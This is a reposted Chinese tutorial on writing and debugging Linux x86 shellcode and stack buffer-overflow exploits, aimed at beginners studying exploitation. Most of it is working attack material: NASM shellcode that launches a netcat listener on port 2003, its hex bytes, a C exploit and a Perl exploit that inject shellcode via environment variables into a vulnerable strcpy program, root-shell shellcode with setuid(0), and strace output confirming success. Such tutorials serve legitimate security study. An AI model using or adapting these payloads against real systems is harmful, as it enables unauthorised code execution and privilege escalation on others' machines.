分享
 
 
 

(转载)Exploit,shellcode经验技巧杂谈

王朝other·作者佚名  2006-01-09
窄屏简体版  字體: |||超大  

Exploit,shellcode经验技巧杂谈转自:http://www.xfocus.net

创建时间:2003-07-14

文章属性:原创

文章提交:OYXin (oyxin_at_ph4nt0m.net)

OYXin

OYXin@ph4nt0m.net

Exploit,shellcode经验技巧谈

这篇文章不是教你如何去写exploit,shellcode,而是希望提供一些关于编写或者研究exploit,shellcode的经验和技巧。适合理解了shellcode编写原理的朋友。我看了很多相关文章,大部分的编写方法都是类似Aleph One的《Smashing The Stack For Fun And Profit》里面的方法。其中safemode.org的zillion所写的《Writing shellcode》文章特别吸引我,他提供的一种方法我认为很方便。我结合自己的测试将文中的一些技巧衔接起来。还有一些自己在学习exploit过程中遇到的问题和解决方法。希望对和我一样初学exploit的朋友们能有一点点的帮助。水平有限,错误在所难免,发现错误请跟我联系,不甚感激。

不打无准备的仗,我们最好先做好一些准备工作。可以参考一下我的系统环境。

系统环境:REDHAT 9.0, gcc version 3.2.2, NASM version 0.98.35,perl 5.8.0

言归正传吧,用汇编语言写好我们想要执行的程序的功能,流程还是类似常用的写shellcode asm的写法,这里我就不用/bin/sh做例子了。我要写一个打开nc监听一个端口的shellcode,测试目的,并没有绑定shell.首先vim ncshellcode.S,填写如下代码:

BITS 32

jmp short callit

doit:

pop esi

xor eax, eax

mov byte [esi + 7], al ; 在/usr/nc后面加0

mov byte [esi + 10], al ; 在-l后面加0

mov byte [esi + 13], al ; 在-p后面加0

mov byte [esi + 18], al ; 在2003后面加0

mov long [esi + 19], esi ; 把字符串/usr/nc的地址放到AAAA所在的地方

lea ebx, [esi + 8] ; 得到字符串-l的地址

mov long [esi + 23], ebx ; 把字符串-l的地址放在BBBB

lea ebx, [esi + 11] ; 得到字符串-p的地址

mov long [esi + 27], ebx ; 把字符串-p的地址放在CCCC

lea ebx, [esi + 14] ; 得到字符串2003的地址

mov long [esi+ 31], ebx : 把字符串2003的地址放在DDDD

mov long [esi + 35], eax ; 把NUll放在 EEEE

mov byte al, 0x0b ; syscall 0x0b (execve)

mov ebx, esi ; program

lea ecx, [esi + 19] ; (/usr/nc -l -p 2002)

lea edx, [esi + 35] ; NULL

int 0x80 ;

callit:

call doit

db '/usr/nc#-l#-p#2003#AAAABBBBCCCCDDDDEEEE'

思路其实和aleph one的是一样的,注意nasm的语法是intel的就可以了。注意db '/usr/nc#-l#-p#2003 #AAAABBBBCCCCDDDDEEEE',打#的就是要用一个字节的0填充的;AAAA,BBBB,CCCC....用来储存字符串地址的地址,这样写可以很大程度的避免由于粗心造成的错误,比如字节数计算不当等等。

写好源代码之后用nasm -o ncshellcode ncshellcode.S编译,编译好了就直接可以用ndisasm得到shellcode了。

[oyxin@OYXin shellcode]$ ndisasm -b 32 ncshellcode

00000000 EB33 jmp short 0x35

00000002 5E pop esi

00000003 31C0 xor eax,eax

00000005 884607 mov [esi+0x7],al

00000008 88460A mov [esi+0xa],al

0000000B 88460D mov [esi+0xd],al

0000000E 884612 mov [esi+0x12],al

00000011 897613 mov [esi+0x13],esi

00000014 8D5E08 lea ebx,[esi+0x8]

00000017 895E17 mov [esi+0x17],ebx

0000001A 8D5E0B lea ebx,[esi+0xb]

0000001D 895E1B mov [esi+0x1b],ebx

00000020 8D5E0E lea ebx,[esi+0xe]

00000023 895E1F mov [esi+0x1f],ebx

00000026 894623 mov [esi+0x23],eax

00000029 B00B mov al,0xb

0000002B 89F3 mov ebx,esi

0000002D 8D4E13 lea ecx,[esi+0x13]

00000030 8D5623 lea edx,[esi+0x23]

00000033 CD80 int 0x80

00000035 E8C8FFFFFF call 0x2

0000003A 2F das

0000003B 7573 jnz 0xb0

0000003D 722F jc 0x6e

0000003F 6E outsb

00000040 6323 arpl [ebx],sp

00000042 2D6C232D70 sub eax,0x702d236c

00000047 2332 and esi,[edx]

00000049 3030 xor [eax],dh

0000004B 3323 xor esp,[ebx]

0000004D 41 inc ecx

0000004E 41 inc ecx

0000004F 41 inc ecx

00000050 41 inc ecx

00000051 42 inc edx

00000052 42 inc edx

00000053 42 inc edx

00000054 42 inc edx

00000055 43 inc ebx

00000056 43 inc ebx

00000057 43 inc ebx

00000058 43 inc ebx

00000059 44 inc esp

0000005A 44 inc esp

0000005B 44 inc esp

0000005C 44 inc esp

0000005D 45 inc ebp

0000005E 45 inc ebp

0000005F 45 inc ebp

00000060 45 inc ebp

其实就是这么简单,剩下的就是要测试一下shellcode是否能正常运行了。这里我用非安全高级缓冲区溢出里面的一个例子来测试。(当然,这段汇编代码可以进一步优化)

/*abo1.c *

* specially crafted to feed your brain by gera@core-sdi.com */

/* Dumb example to let you get introduced¡­ */

int main(int argv,char **argc)

{

char buf[256];

strcpy(buf,argc[1]);

}

上面的代码是漏洞程序,下面是我写的exploit,那段长长的shellcode就是刚才的nc -l -p 2003的shellcode。

#exp2.c

#codz by OYXin

#include<stdio.h>

#include<stdlib.h>

#include<unistd.h>

#define bufsize 272

char shellcode[] =

"\xeb\x33\x5e\x31\xc0\x88\x46\x07\x88\x46\x0a\x88\x46\x0d\x88"

"\x46\x12\x89\x76\x13\x8d\x5e\x08\x89\x5e\x17\x8d\x5e\x0b\x89"

"\x5e\x1b\x8d\x5e\x0e\x89\x5e\x1f\x89\x46\x23\xb0\x0b\x89\xf3"

"\x8d\x4e\x13\x8d\x56\x23\xcd\x80\xe8\xc8\xff\xff\xff\x2f\x75"

"\x73\x72\x2f\x6e\x63\x23\x2d\x6c\x23\x2d\x70\x23\x32\x30\x30"

"\x33\x23\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\x44"

"\x44\x44\x44\x45\x45\x45\x45";

int main(int argc,char *argv[]){

char buf[bufsize+1];

char *prog[]={"./abo1",buf,NULL};

char *env[]={"HOME=/root",shellcode,NULL};

unsigned long ret;

ret=0xc0000000-sizeof(void *)-strlen(prog[0])-strlen(shellcode)-0x02;

memset(buf, 0x90, bufsize);

memcpy(&buf[bufsize-(sizeof(ret))], &ret, sizeof(ret));

memcpy(&buf[bufsize-(2*sizeof(ret))], &ret, sizeof(ret));

memcpy(&buf[bufsize-(3*sizeof(ret))], &ret, sizeof(ret));

memcpy(&buf[bufsize-(4*sizeof(ret))], &ret, sizeof(ret));

buf[bufsize] = '\0';

execve(prog[0],prog,env);

return 0;

}

这里是输出。

[oyxin@OYXin buf]$ ./exp2

ls #这里是客户端输入后,服务端的输出

yeah!lol....

[oyxin@OYXin oyxin]$ nc -vv localhost 2003

OYXin [127.0.0.1] 2003 (cfinger) open

Ls #客户端输入

yeah!lol....

可以看到在运行了exp2后,成功的打开了2003这个端口,shellcode成功了。

顺便提提,我看到可爱的刺刺在绿盟问了shellcode地址的计算问题(用环境变量),关于利用环境变量写exploit netric和gera的非安全高级缓冲区溢出编程里面都有介绍。

gera的计算方法:ret=0xbffffffa-strlen(name_of_program)-strlen(shellcode)"

netric的计算方法:ret = 0xc0000000 - sizeof(void *) - strlen(prog[0]) -strlen(shell) - 0x02;

注意这段话:“这里我们发现在linux_binprm 结构里面的执针p被设置为指向最后memory page在减去一个void指针,像0xc0000000 - 0x04这样”,可以计算一下netric的ret =0xc0000000-0x04-0x02-strlen(prog[0])-strlen(shell) = 0xbffffffa-strlen(prog[0]-strlen(shell),因为strlen(prog[0]就是strlen(name_of_progarm),所以这两个公式是完全一样的。没有什么不同。关于原理可以查资料,刺翻译的非安全高级缓冲区溢出,和我翻译的netric的文章都解释的很清楚了。

禁不住又要扯扯我喜爱的语言perl,perl虽然没有execve()函数,但是任然可以轻松简单的写利用环境变量的exploit.

下面是我用perl写的针对abo1的exploit。

#!/usr/bin/perl

#code by OYXin

$shellcode =

"\x31\xc0\x31\xdb\xb0\x17\xcd\x80".

"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80".

"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69".

"\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";

$path = "./abo1";

$ret = 0xbffffffa - length($shellcode) - length($path); #这里就是计算公式,上面刚刚提到。

$new_ret = pack('l', $ret);

$buffer = "A" x 268;

$buffer .= $new_ret;

local($ENV{'OYXin'}) = $shellcode;

exec("$path $buffer");

是不是用perl写很轻松阿,嘿嘿。

扯远了,回到正题吧 :p

当时我调试程序的时候犯了一个错误,我的nc在/usr/bin/这个目录,而不是/usr这个目录。这里可以用strace这个工具调试.

strace ./exp2可以看到下面的提示。

execve("/usr/nc", ["/usr/nc", "-l", "-p", "2003"], [/* 0 vars */]) = -1 ENOENT (No such file or direc or directory)

这样我们就知道了是/usr目录没有nc了,拷贝nc到/usr目录之后继续strace ./exp2

可以看到输出的最后一行是

accept(3,

嘿嘿,监听成功,打开另外一个xterm用nc连接上去,可以在先前运行strace的屏幕输出里面看到

accept(3, {sa_family=AF_INET, sin_port=htons(32886), sin_addr=inet_addr("127.0.0.1")}, [16]) = 4

rt_sigaction(SIGALRM, {SIG_IGN}, {SIG_IGN}, 8) = 0

alarm(0) = 0

close(3) = 0

getsockname(4, {sa_family=AF_INET, sin_port=htons(2003), sin_addr=inet_addr("127.0.0.1")}, [16]) = 0

select(16, [0 4], NULL, NULL, NUL

在客户端输入ls,输出是

select(16, [0 4], NULL, NULL, NULL) = 1 (in [4])

read(4, "ls\n", 8192) = 3

write(1, "ls\n", 3ls

) = 3

select(16, [0 4], NULL, NULL, NUL

在测试shellcode的时候strace真是一个巨有用的工具。你能迅速知道错误所在。从而做进一步的修改。

记得有次在安全焦点看到有位朋友问如何知道类似\xeb\x33\东东的真正勾当。当你怀疑一个exploit本质是一个木马程序的时候。当别人写出短小精干的shellcode你想研究学习的时候,研究shellcode确实显的很重要,这里也有个很简单的方法。如下这个脚本轻松的做到将shellcode写到一个bin文件中,你只需要修改$shellcode变量为你想研究的shellcode,运行脚本,然后就得到了一个shellcode.bin文件,剩下的事情就是用ndisasm或者windows的w32dasm分析了。

以分析一个24bytes的shellcode为例子:

#!/usr/bin/perl -w

$shellcode= "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"."\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

open(FILE, ">shellcode.bin");

print FILE "$shellcode";

close(FILE);

运行它,得到了shellcode.bin,接着用ndisasm分析之。

[oyxin@OYXin oyxin]$ ndisasm -b 32 shellcode.bin

00000000 31C0 xor eax,eax

00000002 50 push eax

00000003 682F2F7368 push dword 0x68732f2f #push //sh

00000008 682F62696E push dword 0x6e69622f #push /bin

0000000D 89E3 mov ebx,esp #把字符串的地址传给ebx

0000000F 50 push eax

00000010 53 push ebx

00000011 89E1 mov ecx,esp #把字符串地址的地址传给ecx

00000013 99 cdq

00000014 B00B mov al,0xb

00000016 CD80 int 0x80

基本就知道24bytes shellcode编写的思路了,和前辈们分析的一样,没有exit调用也是可以的。用到了堆栈和esp传递地址,没有用传统的jump esi等方法。

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有